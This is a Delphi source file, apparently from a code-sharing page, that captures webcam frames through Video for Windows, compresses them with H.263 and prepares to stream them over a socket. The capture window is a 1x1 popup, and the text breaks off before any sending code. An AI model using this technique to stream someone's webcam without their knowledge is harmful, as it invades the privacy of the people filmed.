📄 capturemediaunit.pas
字号:
unit CaptureMediaUnit;
interface
uses
Windows,
Messages,
WinSock2,
WinSock,
PublicFunctionUnit,
vfw;
//msH263只支持176*144和352*288 176 144
const
VideoWidth = 352;
VideoHeight = 288;
MediaDataBufferMaxSize = VideoWidth * VideoHeight * 3; //视频和音频数据缓冲区
MAX_VFW_DEVICES = 10;
StartCapVideo = 5000;
ChangeCmpedRate = 5001;
ChangeFPS = 5002;
ChangeVideoSize = 5003;
ChangeDriverIndex = 5004;
GetDriverList = 5005;
GetSelfWindMsg = WM_USER + 300;
CLoseWindMsg = WM_USER + 301;
type
//视频压缩类
TCodecCls = class
public
m_hIC : HIC;
m_BmpU : TBitmapInfo;
m_BmpC : TBitmapInfo;
m_cv : TCOMPVARS;
procedure DestroyCodecV;
function InitCodecV : boolean;
//压缩
function EncodeVideoData(pin: pchar; len: integer; pout: pchar;
lenr: pinteger; pKey: pboolean; lm_BmpU : TBitmapInfo; lm_cv : TCOMPVARS): boolean;
//创建和销毁
constructor Create(const SystemBitmapInfo : TBitmapInfo);
destructor Destroy; override;
end;
//视频初始和收尾类
TVideoInitial = class
public
function DisconnectFromDriver : boolean;
function Init : boolean;
procedure DestroyStructure;
function ConnectToDriver(DriverIndex : byte) : boolean;
function GetCapWindow : HWND;
constructor create;
destructor destroy; override;
private
m_hWndCap : HWND;
end;
//视频传输类
TCaptureVideo = Class
private
//视频压缩单元类
m_CodecMgr : TCodecCls;
//视频截取准备单元类
m_ViCap : TVideoInitial;
//需要连接到的视频设备index
pVideoDeviceIndex : Byte;
//vfw窗口句柄
hCap : HWND;
//socket和绑定的事件
VedioSocket : TSocket;
VedioSocketWsaEvent : WSAEVENT;
//数据发送的通知事件
SendVedioNotifyEvent : THandle;
//数据缓冲区
FrameDataBuffer : array[0..524288 - 1] of Byte; //512K缓冲区
//检测数据线程
DectectVideoSockeThreadtHandle : THandle;
DectectVideoSockeThreadID : DWORD;
//窗口处理函数指针
FEnumProcInst : Pointer;
//开始进行音视频截取
function StartGetVideo(const ImageQuality :integer = ICQUALITY_DEFAULT;
const LVideoWidth : integer = 176; const LVideoHeigh : integer = 144): Boolean;
//获取视频流的回调函数
function LcapVideoStreamCallback(capHWnd : HWND; lpVHdr : PVIDEOHDR) : longint; stdcall;
public
constructor Create(SockAddrIn : TSockAddrIn; out Issucess : Boolean;
const ServerPerIODataP : DWORD; const WebCamIndex : byte = 0);
destructor Destroy; override;
procedure EncodeVideoData(pv : PChar; len : integer; dwTimeCaptured : DWORD);
procedure DectectVideoSockeProcess;
end;
implementation
{------------------------------TCodecCls-------------------------------}
(*
cbsize:结构大小
dwFlages:ICMF_COMPVARS_VALID
fccType:ICTYPE_VIDEO
fccHandler:压缩的fcc编码,如"H263"、"M263",取决于你安装了哪些编码器,以及需要压缩什么格式的视频
lKey:多少贞有一个key贞
lDataRate:期望的数据码率,kbyte per sec.
lQ:质量,0到10000
lpbiIn:输入图像的bitmapinfo的指针
hic:通过ICOPEN函数的到的编码器句柄
*)
//初始化
constructor TCodecCls.Create(const SystemBitmapInfo : TBitmapInfo);
begin
m_hIC := 0;
ZeroMemory(@m_cv, sizeof(m_cv));
m_cv.cbSize := sizeof(m_cv);
m_cv.dwFlags := ICMF_COMPVARS_VALID;
m_cv.hic := m_hIC;
m_cv.fccType := ICTYPE_VIDEO ;
m_cv.fccHandler := 859189837; //H263=859189837 ,intel = 1684633187 mpeg4=842289229 859189837
m_cv.lpbiOut := nil;
m_cv.lKey := 1;
m_cv.lKeyCount := 0;
m_cv.lDataRate := 4; //
m_cv.lQ := ICQUALITY_HIGH;
//将系统默认的图像头赋值给编码器
MoveMemory(@m_BmpU, @SystemBitmapInfo, sizeof(m_BmpU));
end;
destructor TCodecCls.Destroy;
begin
DestroyCodecV();
inherited;
end;
//关闭压缩的调用,MSH263+
procedure TCodecCls.DestroyCodecV;
begin
if m_hIC <> 0 then
begin
ICDecompressEnd(m_hIC);
ICSeqCompressFrameEnd(@m_cv);
ICCompressorFree(@m_cv);
ICClose(m_hIC);
m_hIC := 0;
end;
end;
//压缩视频
function TCodecCls.EncodeVideoData(pin: pchar; len: integer; pout: pchar;
lenr: pinteger; pKey: pboolean; lm_BmpU : TBitmapInfo; lm_cv : TCOMPVARS): boolean;
var
bRet, k : boolean;
p : pchar;
s : longint;
label RET;
begin
bRet := FALSE;
s := 2000;
if (pin = nil) or (pout = nil) or (len <> integer(lm_BmpU.bmiHeader.biSizeImage))
or (m_hIC = 0) then goto RET;
//压缩
p := pchar(ICSeqCompressFrame(@lm_cv, 0, pin, @k, @s));
if p = nil then
goto RET;
if lenr <> nil then
lenr^ := s;
if pKey <> nil then
pKey^ := k;
CopyMemory(pout, p, s);
bRet := TRUE;
RET:
result := bRet;
end;
//初始化h263压缩
function TCodecCls.InitCodecV: boolean;
var
bRet : boolean;
label RET;
begin
DestroyCodecV();
bRet := FALSE;
//打开压缩器
m_hIC := ICOpen(ICTYPE_VIDEO, m_cv.fccHandler, ICMODE_COMPRESS or ICMODE_DECOMPRESS);
if (m_hIC = 0) then
goto RET;
ICCompressGetFormat(m_hIC, @m_BmpU, @m_BmpC);
//微软的H.263 codec需要消息确认,得到这个不容易
ICSendMessage(m_hIC, $60c9, $f7329ace, $acdeaea2);
m_cv.hic := m_hIC;
m_cv.dwFlags := ICMF_COMPVARS_VALID;
//star sequence of frames compression
if not ICSeqCompressFrameStart(@m_cv, @m_BmpU) then
goto RET;
//star decompression;
if ICDecompressBegin(m_hIC, @m_BmpC, @m_BmpU) <> ICERR_OK then
goto RET;
bRet := TRUE;
RET:
if not bRet then
DestroyCodecV();
result := bRet;
end;
{------------------------------TVideoInitial -------------------------------}
constructor TVideoInitial.create;
begin
m_hWndCap := 0;
end;
destructor TVideoInitial.destroy;
begin
DestroyStructure;
inherited;
end;
//销毁视频,断开与视频驱动连接
procedure TVideoInitial.DestroyStructure;
begin
try
if m_hWndCap <> 0 then
begin
capCaptureAbort(m_hWndCap);
capSetCallbackOnVideoStream(m_hWndCap, nil);
Sleep(300);
DisconnectFromDriver;
DestroyWindow(m_hWndCap);
m_hWndCap := 0;
end;
except
end;
end;
//连接设备驱动
function TVideoInitial.ConnectToDriver(DriverIndex: byte): boolean;
var
CapParms : TCaptureParms;
begin
Result := false;
if (DriverIndex >= MAX_VFW_DEVICES) then exit;
if m_hWndCap = 0 then exit;
if not capDriverConnect(m_hWndCap, DriverIndex) then exit;
ZeroMemory(@CapParms, sizeof(CapParms));
capCaptureGetSetup(m_hWndCap, @CapParms, sizeof(CapParms));
CapParms.vKeyAbort := 0;
CapParms.fAbortLeftMouse := FALSE;
CapParms.fAbortRightMouse := FALSE;
CapParms.fYield := TRUE;
CapParms.fCaptureAudio := FALSE;
CapParms.wPercentDropForError := 100;
CapParms.dwRequestMicroSecPerFrame := 40000; //设置帧率,66667为每秒15 40000为10帧
Result := capCaptureSetSetup(m_hWndCap, @CapParms, sizeof(CapParms));
end;
//断开与驱动程序的连接
function TVideoInitial.DisconnectFromDriver: boolean;
begin
result := false;
if m_hWndCap = 0 then exit;
if not capDriverDisconnect(m_hWndCap) then exit;
result := true;
end;
//得到视频’窗口‘句柄
function TVideoInitial.GetCapWindow: HWND;
begin
result := m_hWndCap;
end;
//初始化视频
function TVideoInitial.Init: boolean;
begin
result := false;
m_hWndCap := capCreateCaptureWindow('Capture', WS_POPUP, 0, 0, 1, 1, 0, 0);
if m_hWndCap = 0 then exit;
Result := TRUE;
end;
{------------------------------TCaptureVideo----------------------------------}
//检测socket线程
procedure GlobleDectectVideoSockeProcess(CaptureVideo : TCaptureVideo); stdcall;
begin
CaptureVideo.DectectVideoSockeProcess;
end;
var
myCaptureVideo : TCaptureVideo;
//获取视频流的回调函数
function capVideoStreamCallback(capHWnd : HWND; lpVHdr : PVIDEOHDR) : longint; stdcall;
begin
//myCaptureVideo := TCaptureVideo(capGetUserData(capHWnd));
if myCaptureVideo <> nil then
begin
//压缩视频数据
myCaptureVideo.EncodeVideoData(PChar(lpVHdr^.lpData), lpVHdr^.dwBytesUsed, lpVHdr^.dwTimeCaptured);
end;
Result := 1;
end;
//视频错误回调函数
function capVideoErrorCallback(capHWnd : HWND; lpVHdr : PVIDEOHDR) : longint; stdcall;
begin
Result := -1;
end;
//类创建
constructor TCaptureVideo.Create(SockAddrIn : TSockAddrIn;
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -